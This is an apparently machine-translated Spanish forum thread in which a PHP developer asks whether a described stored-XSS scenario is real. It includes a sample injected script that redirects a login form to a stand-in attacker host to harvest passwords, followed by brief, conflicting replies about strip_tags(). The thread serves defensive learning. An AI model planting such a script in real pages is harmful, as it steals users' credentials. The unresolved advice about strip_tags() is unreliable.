Soy un desarrollador de PHP y estoy buscando mejorar la seguridad de mis sitios.Es la entrada de HTML por parte del usuario con Javascript que se muestra a otros pero no se escapó de HTML un ejemplo de un XSS
Por lo que entiendo los siguientes son dos de los principales tipos de vulnerabilidades que afectan a las aplicaciones web:
- SQL Injection
- XSS
inyección SQL se puede fijar con declaraciones preparadas - fácil.
Pero todavía no entiendo realmente XSS -? Es el siguiente un ejemplo de XSS ...
- página llena de contenidos creados por el usuario dispone de un formulario de acceso en la parte superior (en todo el sitio) .
- La entrada del usuario a la página no está escapada en HTML.
- mensajes a un usuario el siguiente contenido (por ejemplo) un comentario a la página ...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
- Un usuario inocente trata de la página, el script se ejecuta.
- El usuario inocente se da cuenta de que no ha iniciado sesión e ingresa sus detalles en el formulario.
- Los detalles del usuario se envían al
http://somehackysite.com/givemyourpw.php
y luego se roban los datos de la cuenta del usuario.
Así que realmente tienen tres preguntas aquí:
- Que este trabajo?
- ¿Este es XSS?
- ¿Hay alguna precaución que los desarrolladores deban tomar contra XSS que no sea escaparse de HTML?
1) Sí. 2) Sí. 3) Sí. ['strip_tags()'] (http://php.net/manual/en/function.strip-tags.php) es un buen comienzo. – DaveRandom
@DaveRandom 3) No, strip_tags es malo, nunca lo uses. ¡NUNCA! – NikiC
@NikiC ¿por qué es malo? –